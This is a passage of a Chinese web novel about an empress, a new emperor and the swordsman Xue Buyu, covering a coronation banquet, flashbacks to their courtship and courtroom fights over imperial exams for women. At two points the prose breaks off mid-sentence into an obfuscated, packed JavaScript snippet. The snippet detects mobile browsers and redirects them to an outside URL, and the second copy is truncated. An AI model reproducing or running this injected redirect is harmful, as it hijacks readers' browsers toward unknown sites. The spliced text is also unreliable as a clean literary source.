柳茸似乎听见身旁传来阿宝的轻唤,但回身是一张成熟又冷毅的脸,闭着唇。 方才的声音不过错觉尔尔,被杳杳撞钟声敲散。 祭台很高,她朝后一视,来时的玉阶变得陡峭,仿佛踏空一步即摔得粉骨碎身。 柳茸指尖陡然一缩,那只覆在她手上的手察觉到了微妙异动,捉得更紧了。 生怕她要逃似的,不容挣脱。 随即,一块四角方正、沉甸甸的物什落入柳茸掌中。 是新帝为她造的凤印。 “阿姊,你是我的了……”自上玉阶便不再与她对视的新帝看过来,仅容二人能听见的话语里投掷出某种渴慕,晦涩,濡湿。 或许在某个背着她去恩客府上的夜晚,或许是他在手臂划刀记录她接客的次数时,一个龟奴不该有的心思已在那时悄悄萌动。 柳茸:“……” “时辰到了,祭天吧。”她黛眉长平,不接对方的眼神,走向祭祀的盥手盘。 新帝脸上刚浮起的一丝暖融又兴兴灭灭寂了下去。 她在无时无刻不提醒他,他们只是利益捆绑交织在一起的两根线,在朝堂间相互配合的共犯,也只能是如此。 权势,谁不曾想要? 昔年王府做书童,他杀了与自己长相一致的燕王赵凛,取而代之伪装数年。 从龟奴到书童,再从王侯到天子,新帝太了解权势能替人得到什么,例如此刻,一个站到她身边的位置。 可柳茸,他也想要。 长安城千鸟鸣飞,落到翠山枝头。 这些鸟儿腿上挂着金镣铐,不少是宫中名贵品类,为庆封后大典新帝下令长安坊市一同放鸟朝凤。 本是一项高兴的“曲目”,也是他送给她的贺礼,眼下再看,满天鸟群盘旋,成双结对,新帝只觉心烦意燥,怎么看怎么扎眼。 他偏过头,瞧见身侧的柳茸。 鸟群在她头顶,与她身上凤袍相绘成百鸟图,她的眼眉被红装点染,成了最盛开的模样。 叫人移不开眼,却不属于他。 磬音声停,封后大典进行到最后一步,参礼的百官与宗室开筵入席,独独少了陈王赵玉则。 陈王府的老仆在大典前两日便代主人上疏,又到柳茸殿内请了罪。言是陈王近日骑射偶伤面颊,有碍观瞻,怕陋颜冲撞皇后,遂于府中休养。 “竟严重到如此地步?”那日柳茸神色温和,佯装愕然,见人来了就当作什么都不知。 赵玉则脸上的伤哪来的,她可一无所知。 “主人本想送娘娘的,奈何如今模样骇人。”陈王府的老仆说得极为可怜无奈,“实在怕惊了娘娘的眼,不敢出府。” 杀人都敢做了,出府有何不敢的。 柳茸心底发笑。 “准了。”她批下赵玉则的告假贴,“大典不必来了,还请转告陈王殿下,好生养伤,他的脸若坏了,本宫在长安可找不出第二张替的来。” 老仆双唇略张,半晌代主伏地,“谢娘娘厚爱。” “娘娘,”临了,即将退下的人停顿,看懂柳茸的默许,接着说下去,“主人叫我转达一句话给娘娘——他定不会负娘娘所托。” “即如此,那本宫也祝他长命百岁。”柳茸搁置下笔,洗砚池划开一抹乌青水花。 虽说陈王不来观礼并非居功自傲刻意为之,但新帝的面色并没有多少好转。 群臣皆来观礼,唯有赵玉则不来,无论是何原因,这一巴掌算是打到新帝脸上,赵玉则自己也是明白的。 不来也好,新帝拂袖冷哼,省得他看见些眉来眼去。 如今宴席间,有个比赵玉则更令他刺目的人在呢。 薛不虞。 从封后大典开启到现在,薛不虞站在阵列里一声响也没发出过。 他很安静,安静地出奇,安静看着柳茸盛装从身旁走过、牵起另一个人的手接过凤印,安静地看她走完一程高高座在席上。 桌面有酒,薛不虞便喝酒,有肉他便吃肉。 觥筹交错的光景里他周身形成了一堵看不见摸不着的墙,隔绝一派熙雍。 不少官僚暗戳戳投来不可言说的眼神,都想见见薛不虞做何反应。 毕竟是与当今皇后有旧情之人,陛下亲自请其来观礼,一君一臣齐座一堂,前朝封后大典也未见过这等事。 无一人敢大声说话,默默观量着宴席中一丝一毫的暗流涌动。 “薛大将军凯旋,下官敬将军一杯。” 薛不虞将酒爵扯到一边,“我不与人敬酒。” 说话间柳茸察觉到他神不知鬼不觉朝自己的方向瞟了一眼。 他怎么会不喜与人敬酒呢? 昔年花树下,他是最喜欢同自己酒壶相碰的。 柳茸朱唇饮下一口酒,听见席间开始了另一轮寒暄。 “薛大将军成家了吗?” “成过。” 席间的谈笑声戛然止住。 薛不虞面不改色动着筷箸,蓦地抿着唇,改口道:“没有。” “如此甚好,老生本家有位姑娘如今已到适配之龄,将军郎才年纪轻轻又建功立业,不知可有意否?” 一个不字刚想说出,薛不虞便听见正中心向南而座的高台上冷不丁响起一道不容置喙的声音。 “确实也该添一房正妻了。”新帝放下酒爵,冕旈下双目抬起目光。 他巴不得薛不虞即刻成亲另娶,免得旧情复燃,勾引他的阿姊。 “臣一心报国,无意儿女情长。” “朕遇见皇后前也喜欢用此说辞,薛将军,话不能说得太满。” 薛不虞没有答复圣言,剑眉下的眸子向上,穿透觞酒纷嘈,幽幽望向上方头戴凤钗的柳茸。 新帝龙颜微微不悦。 薛不虞:“皇后娘娘以为呢?” 席间气氛难喻,所有的视线都押在了柳茸身上。 金花盏从女子的手轻放回宴台。 “将军府,的确需要有人管家了。” 闻言,新帝紧绷的眉宇舒展,宴席上了新舞,又是一派和煦,唯有薛不虞仿佛成了一尊冰雕。 “将军可有心仪之人?”柳茸问。 薛不虞兀自吞了一口酒,入喉的酒在舌根四散,说出的话染上喉间呛涩,“没有。” “既如此不如就由皇后替薛将军指婚,”宴台之下,新帝的手隔着袖口自然而然搭在了柳茸手背,“也 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在此碰面也算冤家路窄,太尉故去后,与赵玉则分庭抗礼的人变成了薛不虞。 兵权、头衔、功劳,看似转入新一轮一争锋,实则重重架构之外,背后与他对弈的,仍旧是柳茸。 赵玉则倒是没曾想去了一个太尉,如此短的交接时机柳茸能扶起新的用臣,而向来不入仕的薛不虞,居然答应了。 他忽然很想一窥薛不虞的忠心。 世间无人不可利诱,这是赵玉则的定论,这份定论在几番请薛不虞于府上开价后失效了。 “将军对娘娘倒当真忠心不貳。不过刚归来便殿前离席,未免有些失仪了。” “我答应了师兄要照顾她,除此之外的事不归我管。” 赵玉则眉眼弯起,“照顾?照顾到了床榻上去倒真是体贴。” 薛不虞猛地回头,表情煞戾,身后出声的人似乎对他的反应意料之中,一脸几分无辜的好整以暇,令人更加心上不快。 “陈王殿下是不知道两情相悦四个字怎么写吗?” 薛不虞跨步逼近,直至与赵玉则四目交锋,近到能望清彼此眼里掩藏地几乎天衣无缝的杀心。 陈王府的府兵抽剑架在二人之间,赵玉则摆手:“不可对大将军无礼。” 护在左右的府兵收剑,寒光散去,可对面男子眼中的寒光比利刃更甚。 “两情相悦?”赵玉则像听到了什么笑谈,“薛将军,本王只是不忍见将军落得和本王一样的下场,善言相劝罢了。” “将军如今大权在握风光无量,自然感受不到,这条路终究不是长久之计,功高震主,兔死狗烹,当初她提携将军,将军知道是为何吗?” “因为要对付本王。有本王在,娘娘就会一直需要将军。”赵玉则意味深长眯起眸子。 “待到本王退出庙堂那日,她要对付之人便会是将军,本王的今日亦是将军的明日。” “将军不在京中有所不知,娘娘已经提拔了一位异族女将叱罗红花,此情此景,与将军当年何其相似。将军,用之则弃,是迟早之事。” 弃?薛不虞眺向远处华灯高挂的筵席,明火被漆黑的瞳中染得阑珊落寞。 他自哂,说着旁人不明的话,“她早就弃我而去过了。” 37. 情起 被人用之即弃的滋味薛不虞早已尝过。弃他而去的人也不是旁人,是柳茸。 在那之前,他们曾是彼此的支撑。 入长安的第一年,非言非语缠满柳茸,是她状告了益州刺史崔元换得高升,也是她叛了对其入仕颇有照拂的益州刺史,来到长安。 于理,她是揭举弑君之人的功臣,于义,她是背信弃义之人,被钉在柱上,毁誉纷纷。 戳着柳茸的脊梁骨指指点点的口只多不少。——为自己坦途,不惜将昔日长官送上绝路,最毒不过妇人心。 她独自一人吞下苦果。 不信崔元会弑君的百姓朝她泼去污水,大骂着柳茸污蔑贤良,媾|和奸邪。 盛满污水的木桶泼过,被一道身影拦了半截。 薛不虞张开双臂挡上前。 虽说也没挡多少,最终,只需一人挨泼的罪变成了二人皆淋成了落汤鸡,一路满是腥气地逃回住处。 “你不是剑仙么?”柳茸吐出口中的烂菜叶。 “我是剑仙也只是除恶宵小而已,从不对百姓动手!”他大喊出声,引来手持粪桶的老妇,又是好一阵围追堵拦。 一连躲了几日,直至城阳公主寻到二人。 与拿着薛不虞给的拜帖初次登门时不同,神色高傲的妇人命人打了两桶水,里里外外洗干净两人,揪着头发拎到日头底下晾晒。 虽是孀居,那张与薛不虞相似的面庞上画着细盐般精炼的严妆,气色红润,脖间翠玉琳琅。 柳茸对这张脸记忆犹深,在拿着薛不虞给的拜帖初次登门时对方由头至脚将她打量了一番,甩出寥寥几字。 “儿大不由娘,真是什么人都敢往府里带了。” 第一次登公主府,城阳公主的态度比儿子薛不虞初识的态度不遑多让。 可几日之后,闻见柳茸无意弹起的琴音,她仰在天上的头俯下来。 “你会弹秦琴?” “还有什么?都让我听听。” 相谈投缘,城阳公主执意要柳茸于府中住下,待为上宾。 “京畿的赁屋庙小,住不下你,来公主府,正好男人死了,想住多大有多大。” 她寡居多年,清心寡欲,平日也就养几个面首,着实许久没接触如此红艳的女子了。 仿佛看见年少时的自己,不惧招摇地舞着茜红榴裙。后来,生了薛不虞,裙子再难合身,遂被压进了箱底,随年月封尘、冲淡,到柳茸出现,她方想起自己也是有过一件红榴裙的。 “女子多读书好啊,你再陪我讲讲兵书。”这是城阳公主对柳茸讲得最多的话。 她没读过几行经,读得最多的便是佛经与骈诗,对于一名公主,学会作诗已然足够应付,经书可有可无,兵书更是一卷没阅过。 柳茸勾起了她的缺缺兴致。 本以为尽是枯燥拮据的诡道在女子柔声下浅显易懂,听了三日,城阳公主命人扫出一屋以做书房,特意嘱咐谁也不得入内叨扰。 薛不虞不信邪,朝柳茸露在窗前的头顶扔了几次杨花,被拎猫一般丢出府。 “你别疼惜他,”城阳公主拍拍手,掸掉手上灰,“他是个不成器的,也就多亏是从我肚子里出来,若处在你的境遇他一辈子爬也爬不到长安,我就是从前太惯着他了。” “别人家怎就把孩儿养得如此出息……”城阳公主莞尔,“若我有女儿或许就期望养成你这般的。” 实在不知如何接话,柳茸无措颔首轻笑,她听得出,城阳公主口中絮絮叨叨嫌弃,心底却紧张着薛不虞。 于自己而言,这是份陌生的相处之道,但似乎又是公主府的常态,若自己的阿娘没死,一步步陪自己长大,也会如此念叨自己么? “养儿不如养条狗,养条狗还能常伴身边。”城阳公主话音刚落,门外传来几声汪叫。 仆从开门时,薛不虞正从犬吠学到狼嚎,与城阳公主四目相对。 当夜,薛不虞去丐帮避难。 长安城免去一场家门血案。 半日气消,城阳公主寻丐帮要人,不知从何处听闻柳茸情史颇丰,甚至与益州刺史崔元有旧情。 柳茸做好被刨根问底的准备,心中忐忑,却见对方比自己更忐忑地发问。 “你也养面首?” 大梁风气开放,宗室女子偷偷养面首者并不鲜见,虽被儒生诟病但屡禁不止,自夫死之后,公主府亦不乏有几个面首,有几名早逝的面首已陪葬公主寿坟。 柳茸被问住,紧接着另一道更迫切、急求的问题甩到她脸上,“我儿排第几?” 一口茶险些喷出口。 柳茸呛了好些时,“晚辈与令郎只是萍水之交,除此之外无任何瓜葛。” 烫手的茶盏从手中掉落,柳茸一通无措,落进城阳公主眼里成了欲盖弥彰。 “萍水之交?” “萍水之交!” 当日,薛不虞一只脚迈出丐帮,被指着脑门骂。 “晦气!我怎就生出你来?官不想当爵也不袭,这都不能争第一!做面首都是最拿不出手的!” “八字还没一撇呢。”薛不虞恹恹哼气,叼起地上一根竹叶。 竹叶被无情抽掉,城阳公主见薛不虞的懒散模样气不打一出来,“活了几十载没见哪年你在长安待得如此久,又是回长安又是记起我这个娘来了,你说你想不想有一撇?” “我就问你想不想!” 薛不虞躺地,斗笠盖住整张脸。 “装模作样。”城阳公主含糊了句,“那好,你既没当过面首明日就随我去相姑娘,反正你也回长安了,到年纪成家了。” 薛不虞从地上挺起,转着手中的剑穗,“这就开始卖儿子了?” “你尚是完壁之身本宫还卖不得了?” “不愿去就老实说,你究竟是如何想的?” 本以为薛不虞又要插科打诨糊弄过去,可这一次,薛不虞熄了声,洒脱轻晃的腿静住了。 “我一个人挺好。”片刻,倒扣在脸上的斗笠里传来回应。 城阳公主会心一笑,放下一坛酒,闻见酒香,薛不虞掀开斗笠。 “为何忽然给我酒?”他轻敲酒坛,酒水晃荡,看不出任何异样,可武人的五感一闻便知不是寻常酒水。 “这不是寻常酒,是鹿血酒。”城阳公主正色。 薛不虞顷刻了然,神色逐渐凝重。 “ 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“我娘打算将我卖了。”薛不虞耷拉着脑袋,几分委屈。 “别关窗!”他眼疾手快卡住缝隙,“你没听见吗?爷要被押着头成婚了。” “听见了。” “你在处理什么案子?”薛不虞注意到案上文书。 “私盐案,”柳茸坐回蒲团上,“疑犯逃了。” “你啊,当真不会用人,眼下现成的大梁夸父竟然放着不用。”薛不虞啧啧几声。 夸父?柳茸探出头,见薛不虞指指自己。 “雇我来追可好,柳大人?我也好避避我娘。”他趴至案前霸道占据她大半视野,只手撑颊,脸边被掌心托得肉呼。 “老规矩,十坛酒。” 柳茸:“你近日不是要去见媒人吗?” 案桌震起,薛不虞怒指,“你果然知晓此事!” “且等着,我成亲有你后悔的时候。我若娶了哪家闺秀,便不能待在你身边,看你何处寻到比我好用之人。” “我等着。”柳茸将卷宗塞进他手。 一句戏言而已,她无心当真。 几日后,逃犯战战兢兢五花大绑地被送入官府。 “说好了,十坛酒。”薛不虞得意比划。 一放值柳茸就被他拉入一处酒肆。 没饮上一口,柳茸先道了声且慢。 她抬起手中耳杯,在对方一脸疑惑下对准他举到半空的酒坛,轻撞了撞。 “你说过的,这叫道谢。” 薛不虞怔愣一瞬,她还记得。 柳茸以为自己的姿势错了,又撞了撞,他从怔忡中醒神,笑起,酒香染就几许风流,“对……是道谢。” “薛兄!”邻桌江湖打扮的酒客认出薛不虞,见美人在席满眼歆羡震惊,“你都请小娘子喝上花酒了?你有那闲钱?!” 薛不虞炫耀溢于言表,“看看仔细,是娘子请我。” 酒言过耳即忘,柳茸倒是没料到,不久后自己会是另一种意思的娘子,与他成亲之人也不是哪家闺秀,是自己。 38. 扫墓 在长安的第一个中元节,柳茸去看了崔元。 弃市之人的尸骨被野狗啃食得厉害,下葬时已没了容颜。同样,也没有来祭拜一个罪臣。 墓前冷冷清清,树着木做的碑位。 博陵崔氏没有允许崔元葬于祖坟,是柳茸收的尸,挑了处庄稼农地。 从此以后,地底的人能日日夜夜对着生前喜欢的高粱庄稼,看农田耕牛,青草又黄,谷子又结,再不会孤单。 枝花轻摇,有人在她身后。 除了几名百姓,来此处的只有她,以及崔元的师弟。 “今日不是要随公主见媒人的日子么?” “想什么呢,我没忘自己来长安的目的。”薛不虞抛着剑穗,走近那方孤清的墓碑,亲手拂了拂落在碑头的落尘。 “师兄……” 他轻声呢喃,眼圈泛红,插在墓前的香升了起来,柳茸念起往生咒,薛不虞识趣退至她身旁一同祭奠。 “看着我做甚?”柳茸注意到某人停留在她脸上的目光。 “没什么,就是突然觉得我师兄命好,走了还得美人惦记。”薛不虞拆下一绺剑穗,在指尖转着圈,“若是让他泉下有知是你安排的后事,怕是乐得合不拢嘴。” “哪有这样咒你师兄的。” “实话。”他一个凑近,欺身上前,煞有其事,“信我,他真心会这么想。” “所以啊,别自伤了,我师兄到死都没怪过你。崔子白好懂得很,若真怪过你就不会叫我跟着你了。” 清风徐来,田垄间的青草弯下腰,好似在附和生人的话。 他没怪过自己…… 那又如何。那封假密信,是她过不去的坎。 跟头摔得很重、很痛。 她不期求得死人原谅,是自己,在无法原谅自己。 剑被解在墓旁青青草地,薛不虞重新走到碑前,合十双掌。 柳茸默契地翘履微偏,开出一方空隙,容他屈膝坐在了墓碑前。 香火袅袅,指腹游走过碑上熟悉的名字,薛不虞酹下三樽酒,浇润碑下黄土。 做正事时,他总是很安静,一瞬收起惯爱的没脸没皮,闭目的面容与天地和光同尘,正式地有些不似薛不虞。 “答应你的事我做到了,师兄。”他在升起的烟火里望鼓起的坟包,“她很好,益州也很好。” 薛不虞顿了顿,想再说什么,侧首望向专心扫墓的柳茸,她葱绿的裙带在阳焰下飞动,如蚕丝嫩柳。 他蓦地忆起崔元在狱中最后说的话。 ——“她喜吃石榴,不喜羊肉,夜里点四弃香即可……” 强行截断脑中的胡思乱想,青年遒劲的手失意地晃了晃酒樽。 “有一事,或许师兄不乐见我做,”话到唇边,薛不虞吞了回去,“但怕是……由不得师兄了……” 酒樽被摆回墓前,一场新雨蓄满了滴酒不剩的空壳。 次日夜,陈王遇刺,陈王府得力的暗卫死了好几名,赵玉则倒是面不改色,神情依然叫人看不透喜怒。 柳茸发现人影时是在花圃。 那道人影浑身浴血,衣间褐红漫入身下白花,花叶脉络沁得清晰可见。 柳茸以为是逃入公主府的刺客,挨近才发现地上之人怀中刻着金合欢的剑鞘。 “薛不虞?”她试探对方的鼻息,没有呼吸。 擂鼓般的心跳漫上心口,冰冷包裹住苍白的指尖。 哪知身下的男人猝然睁眼,大笑,冷不防将检查身体的她吓一大跳。 “吓傻了?”薛不虞在她眼前摇摇手,拎起粘|稠不堪的衣襟解释不是自己的血。 “真不是我的血,不信你再仔细看看?”见柳茸脸仍冷着,薛不虞好整以暇,咧开两颗虎牙,“你方才……不会是想脱我衣服吧?” 迎接他的是一瓢清水,劈头盖脸浇落。 柳茸放下葫芦瓢。 “血迹,洗了。”她指指地上遗留的血印,示意他藏好。 金吾卫的搜捕自前院传来动静,柳茸将人藏至僻静处,一出屋门就对上幂篱鬼魅般的轻纱。 纱幔里的眼睛隔着一道朦胧在看她。 “我一直很好奇,柳大人缘何会在城阳公主府。” “此间似乎还有血腥气。”幂篱惬意偏了偏。 “她是本宫府上宾客。” 一道话音落,高台处,城阳公主横眉摸着怀中狸奴。 赵玉则微微揖身,“姑母。” “本宫少时喜琴你不是没听说过,寡居多年无人谈心,好不容易碰上个柳大人留在府中陪本宫做伴,说说话,不成?” “姑母所言自无不可。” “陈王殿下入夜拜访,我当是何事。就是来我这老寡妇私宅窥上一窥的?” 幂篱下的人作揖。 “今夜陈王府遭袭,疑犯虽为得手,尚潜逃于京,侄儿倒不在意己身安危,可若再有人遭其毒手……侄儿愧心难当,故而迫不得已多有开罪。” “好一个迫不得已。” “侄儿也是为姑母安危着想。”赵玉则说得情真意切,“况且,猎犬在此地嗅到了血腥气。” “姑母的公主府,何来的血腥气呢?” 城阳公主放下猫,“取刀来。” 一刀捅入门中,刀光划过,半爿门扉应声断裂,塌落石阶上。 整墙未用的月事带塞满屋舍。 “我倒是想陈王殿下闯入女子的寝楼做甚。我府中尽是女子,月月皆见红,难不成要看本宫全换成面首才满意?” 金吾卫尽数退出公主府后,柳茸方开一处暗格。 薛不虞换了身燕服,身上血迹洗净,落踏清爽。 “方才我差一步就出来了,幸好,有你拦着。”他眼中血丝褪去不少,抱来一坛酒,与柳茸月下对酌。 酒坛轻轻相碰,是薛不虞在道谢。 “我一路引了血到别处,估计金吾卫要查个空了。” “赵玉则知道你在这里。”柳茸放下杯酒,杯缘一抹艳红口脂。 薛不虞稍稍诧异,失笑,“此人当真难缠,杀也杀了个假的。” 他掂出一尊人头,摆到桌前。 桌上的脸与赵玉则几分相似,狐狸眼吊捎着,贴上的脸皮已是极为相似,神采依旧比本尊逊了不止一层。 “师兄生时不希望我以一己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133231|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 私仇去招惹赵玉则。” 说着,薛不虞一骨碌躺下,枕着双臂,天边皓月照在他脸上,他抬头看,“我没听他的话。” “我要是不招惹就不叫我了。你们官场的弯弯绕绕我不管,我只信自己的剑。” 既然不叫他招惹,他偏要招惹。 一记脑门轻弹,他唉哟捂住额头,神情痛极。 自己方才有用那么大力么? 柳茸收回完全没使力的手,“下次我可不保你。” 痛得来回滚地的男人一瞬恢复常态,“那下次爷来保你?” “别打!”他避开柳茸真使出力拍来的手,对铜鉴抹了抹冠发,“打花了这张脸就不好看了。” 手不留情面地照着薛不虞脸边打了下去。 却不是柳茸的手。 城阳公主怒目圆睁,拧着耳朵将人提走。 金合欢剑鞘落在廊下,剑主看向柳茸发投来求救的目光,却只能眼睁睁看着自己被越拖越远,余光所及,柳茸拾起剑朝他作别。 陈王府精良的暗卫被薛不虞解决了大半,自那以后赵玉则的眼线消寂了一段短暂时日,留下的一批也不足为惧,据薛不虞形容:练不到家的半吊子。 寻不到好时机行刺的日子里,他便躺在干草垛吃酒,偶尔躲在树上看树下女子开笔研墨。 “给我磕个头,我就还你。”柳茸朝树影婆娑处递话,挥了挥手中的剑鞘。 “你?想得美。” 他卷走静放树下的剑鞘,留下一筐鲜采的桑葚。粉黛。 而后来在洞房下,薛不虞自己掌了自己的嘴。 那是他们在成婚前夜的事,两个从未经历拜堂的人为了不出岔子,偷偷摸摸私下相见,亦步亦趋学着见过的场景。 一个对拜躬下身,磕得找不着北,最后彼此坐在祠堂揉肿疼的脑袋。 值夜的仆从经过,柳茸本想溜之大吉,无奈先时的一磕,耳坠勾住身边人发丝,一路歪着头在灯下相互扶回房中。 成亲是件麻烦事,经此一役柳茸更加确信,不如跳过夫妻对拜,诸事从简。 反正薛不虞平日也是个洒脱之人,应当不会不答应。 不料,她低估了男人要名分的能力。 对方的反应比她预估的猛烈得多。 “你有了小爷可是要对小爷负责的!” “小爷和他崔元可不一样,小爷是要名分的!” 薛不虞从席上弹起的刹那,柳茸见到了一个跳脚的剑仙。 当年婚事的每一步,柳茸历历在目,道师挑了个良辰吉日,宾客席上不止有宗亲,也有一众三教九流,有的只和薛不虞见上过一面。 那一日,是薛不虞半生最顺遂得意的一日,过了洞房夜,他将冲破桎梏触碰到她。 接亲的队伍从他的私宅一直行到公主府,城阳公主挑了个好时机,让薛不虞在日下干等几个时辰。 炎日当头,汗沿鬓角滑落。 系在他下颌的冠缨被浸湿,而他一心只担忧自己的汗会不会脏到要接的人。 即使背上妻友妻的骂名为人所诟病,他也渴望长留她身侧。 想到此际,他不后悔。 39. 皇后 皇宫,柳茸从长梦中苏醒。 好像,又梦见了与薛不虞在长安时的岁月。 如今再回首翻阅这段过往,竟已无太多感触。 若是放在几年前,自己也许还会提上一壶酒,盘坐廊下,对着缺月唏嘘时光荏苒。 现在,昏沉的脑内只有一个念头——不该在封后大典贪杯多饮一盅酒的。 饮下一碗醒酒汤,柳茸抬手招了招,示意回宫复命的宫娥上前,“事办得如何了?” “前夜的刺客已咬舌自尽,但刑部查明确与陈王府并无干系,这几日陈王多居于府上,未有动作。” 柳茸侧头,扶正一根琉璃簪。 历朝以来首场女子科考在即,宫里的刺客也多了起来。 不是赵玉则派来的,便大抵是其他想要阻止女子科考的人派的。 不论是谁,这等事还轮不上抬到她面前。 “他们倒是不聪明,五年了也只爱耍这点手段。”柳茸轻笑,睁开懒慵的眸子。 “有一事,奴婢不知当讲与否……” “恕你无罪。” 宫娥欲言又止,“娘娘大典之日,陈王于亥时二刻离府与薛将军见了一面。” 柳茸颔首,示意自己知悉。 “薛不虞知道分寸,什么该做,什么不该做。” “何况,”柳茸神思悠长,半戏谑半赏识,“他听得出本宫在他身后安插了多少人,若有不想叫你们查出的,你们也查不出。” “走吧,去前殿。”最后一层?祎衣加身,柳茸迈步出屏风。 都送刺客上门了,不会一会买家怎成? 早朝尚未结束,天子正殿里,夜烛燃脂,新帝坐在御座上,听着底下朝臣的声音。 忽然,御座后的帘子里光影朦胧浮动。 穿着皇后?祎衣的身影,逶逶迤迤,声影难辨,在帘子后一处坐席间停住,不动了。 无声地融入本只有君与臣的画图里。 似皮影戏幕布背后观不见的手。 新帝垂眸,微不可察地侧睨了下眼。 大殿一时有些静默,须臾又恢复如常,朝臣接着启奏塞在喉边的话。 听来听去都是求撤回女子科考的话。 自古举孝廉便无关女子,上古三皇五帝六臣亦无女子,女子可养蚕、可缫丝、可为女官,却万不可与男子同时选录。 男女有别,阴阳有序,阴阳失调,国之不国。 “建勾栏院时不说男女有别了。”伴在身旁的女史悄声嘟囔,被柳茸打住嘴。 “陈言上谏费口舌,没有功劳也有苦劳。” 女史依言收敛,“娘娘就是太好脾气了。” 又瞟了帘子外的朝臣一眼,“像个矮倭瓜。” 此点,见多了美人的柳茸的确无法反驳,“容貌确实难堪了些……” 帘子外的人不知帘内的情况,权当皇后在评议朝政。 几个老臣的眉头已经微微蹙起。 “皇后娘娘是有何高见?”一道苍老的声音自殿下发出。 柳茸:“本宫一介妇道人家,何来高见?” “娘娘主掌六宫,理当辅佐圣人,从旁劝谏,尽心侍奉,而今陛下欲开女子科考,娘娘身披天下女子典范之职,就没有什么想说的?” 是啊,有什么想说的呢…… 柳茸手边团扇轻转了几下,“就依陛下的意思办吧。” 片刻哗然。几名老臣气晕了头,被太医院抬走,剩下的面孔或积怒,或嫌恶,皆不太大好看。 “都说完了?”新帝站起身,负手瞰视。 “朕的决策,一笔也不会改。若有死谏者,自便,若有想受刑的,宫外的棍子备着。” 新帝拂袖,面无表情地散朝。 “陛下!” “望陛下三思!” 身下喊声撕心裂肺,劝言此起彼伏,最后竟一齐喊出了声,“望陛下三思!望陛下三思!” 一声高过一声。有人庸庸附和,也有人义愤填膺。 凛光掠过,金合欢纹的剑鞘横在御前掐断了喊声。 “圣人口谕,没听见么?” “薛不虞,莫要以为能佩剑面圣便为所欲为!” “殿前拔刀成何体统?” “睁大眼睛瞧清楚了,抽的是剑鞘。”薛不虞一个扭腕,鞘尾空空撞地,声响令人胆寒,“我倒是想问问你们成何体统。” “一个个的在殿前大吵大闹,换作南匈奴,王帐里就垛头了。” “蛮族怎可与中土之国相提并论!” 又是一记雷霆震响,待朝堂静地落针可闻,定在地面的剑鞘方移开。 “没话说了?”他收剑侧头,御座上离开的男人负手而立,留下一抹背影。 “陛下,要杀还是要罚?” 话,是对着穿龙袍的人说的,却是说给帘子内之人听的。 不约而同地,新帝将目光投入帘内,柳茸不慌不忙套着金护指,毫无摆驾离去的意思。 片刻,他读懂:这事是算不了了。 “近日宫里有人行刺,”他沉声开口,“朕也很想问问诸位爱卿可有头绪?” 几名老臣面色不改,袖口下已捏紧。 “薛大将军既已回朝,此事不如就交由将军督办,也辛苦诸位去刑部走一趟了。” “陛下!臣何罪之有?”有人跪下。 被人疑心的恼羞、恐惧煎熬于心,宫里遭袭,他们凭甚要被查?落到薛不虞手里还能得几时好? “何罪之有?那这颗头颅可有谁认得?”帘子内响起清亮的女音。 一排刺客的头颅沉甸甸端上,盛在食盘里。 明晃晃放到了大殿之上。 死物乍然出现,群臣面色扭曲,檀香遮不住的血腥蔓延,有几名上年数的文臣吓得不轻,神情难言。 “外臣入不得的内宫,竟有人行刺,”柳茸默了会儿,“还闯到了本宫的寝宫里。” “本宫的椒殿,倒是头一回进除陛下以外的男子,这就是你们护着的大梁天威?” 大殿寂然半刻。 柳茸摆摆手,新帝道:“将人带下去。” 人?什么人? 手持笏板的人群尚未回神,御前侍卫已押走其中一人,拖出殿外。 “户部侍郎李存行刺弑君,今已查明,押送刑部,听候发落。” 能直接扭送走的必然掌握了十成的罪证,柳茸也是花了点手段撬开刺客的嘴。 然大殿前摆着的是一排脑袋,请刺客入宫的可不止李存一人。她要得就是杀鸡儆猴。 有些人也的确该敲打敲打了。 一出戏落,红日高升。 大殿空荡。 “将军留步。”宫娥唤住薛不虞。 “姑姑有事?” 宫娥微微侧身,御座后垂下的帘子轻动,“将军,请。” 薛不虞腿如灌铅。 迟迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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甚至,自己掉落一地衣裳纹饰都比她的脸要清晰得多。 可画面臻臻疯狂构现于脑海,当初最不留意的女人成了场景中最清晰的存在。 反倒是她周身的床幔、榻前的灯盏、曾记得牢固的事物在无限虚化,仅留下一个她。 他之前是如何记得如此多无用之物的? 薛不虞已然思索不起记忆里的这副场景前后发生的事,甚至是崔元的脸也在日晖下支离破碎。 师兄当时醒了吗? 那日晃眼匆匆,她的背如剪影,是如此玉白吗? 一念久远如昼夜,薛不虞拿起剑,放下不能起的心思。 看着柳茸在宦海沉浮步步扎稳脚跟,他独自买醉酒肆。 彼时的他想,若师兄没死,她与师兄旧情未了,他也不会与她有交集,他们的缘之间隔着一个男子。还是自己最敬重的师兄。 他不该……也不能做任何出格的肖想…… 他是师兄的师弟,也只会是师兄的师弟。 但越是克制,那些不该有的念头越是钻骨入髓,借着酒意挥发上头。 酒客笑薛不虞没了姑娘请酒,神气不在。薛不虞浑不在乎。 想杀不得杀,想斩斩不断,素来的快意恩仇成了笑话,他笑自己何时变得优柔寡断。 避而不见一段时日,柳茸似真的忘却他。 薛不虞料定这样也好,提酒出街,却在酒楼上遇到数日不见的女子,正在请旁人饮酒。 同先前请自己时一样,位置都没变,但与她相对而坐的位置此时给了旁人。 一名男子,一名同僚。 酒意尽消,他的咽喉呛了醋般难受。 40. 告白 “他是谁?” 待人走后,薛不虞坐上酒气未散的坐席。 桌上与前几日同样的酒具,街下同样的光景,方才坐在此处之人却不是他。 女子与旁人谈笑风生刺痛他的眼。 柳茸:“一位朋友,算是帮了我点小忙。” “什么忙值得你请人喝酒?”他以剑挑酒,酒盅在剑身稳稳立住,嗅了嗅,“不便宜呢。” “抄书。” 就如此? 